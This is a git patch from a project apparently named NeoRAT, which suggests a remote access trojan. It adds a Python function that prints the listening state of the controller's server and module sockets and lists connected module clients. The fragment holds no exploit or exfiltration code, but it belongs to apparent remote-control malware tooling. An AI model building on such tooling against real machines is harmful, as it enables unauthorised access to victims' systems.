From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- domestic/globally/sockets.py | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 domestic/globally/sockets.py (limited to 'domestic/globally/sockets.py') diff --git a/domestic/globally/sockets.py b/domestic/globally/sockets.py new file mode 100644 index 0000000..31cd164 --- /dev/null +++ b/domestic/globally/sockets.py @@ -0,0 +1,31 @@ +from domestic.utility.validate_dict_key import * +from domestic.utility.status_message import * +from domestic.global_state import * + + +def sockets(): + if state['sockets']['server']: + ip, port = state['sockets']['server'].getsockname() + status_message('Server:', 'magenta', {'end': True, 'point': 'empty'}) + status_message(f' - Listening', 'pure', {'end': True}) + else: + status_message('Server:', 'magenta', {'end': True, 'point': 'empty'}) + status_message(f' - Not listening', 'pure', {'end': True}) + + for key, value in state['sockets']['modules'].items(): + if value[0]: + ip, port = value[0].getsockname() + status_message(f'{key.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'}) + else: + status_message(f'{key.capitalize()}:', 'magenta', {'end': True, 'point': 'empty'}) + status_message(' - Not listening', 'pure', {'end': True}) + continue + + if len(value[1]) == 0: + status_message(' - None running', 'pure', {'end': True}) + else: + for index, module_client in enumerate(value[1]): + status_message(f' - [{index}] {module_client[1]}', 'pure', {'end': True}) + + print() + status_message(None, 'program') \ No newline at end of file -- cgit v1.2.3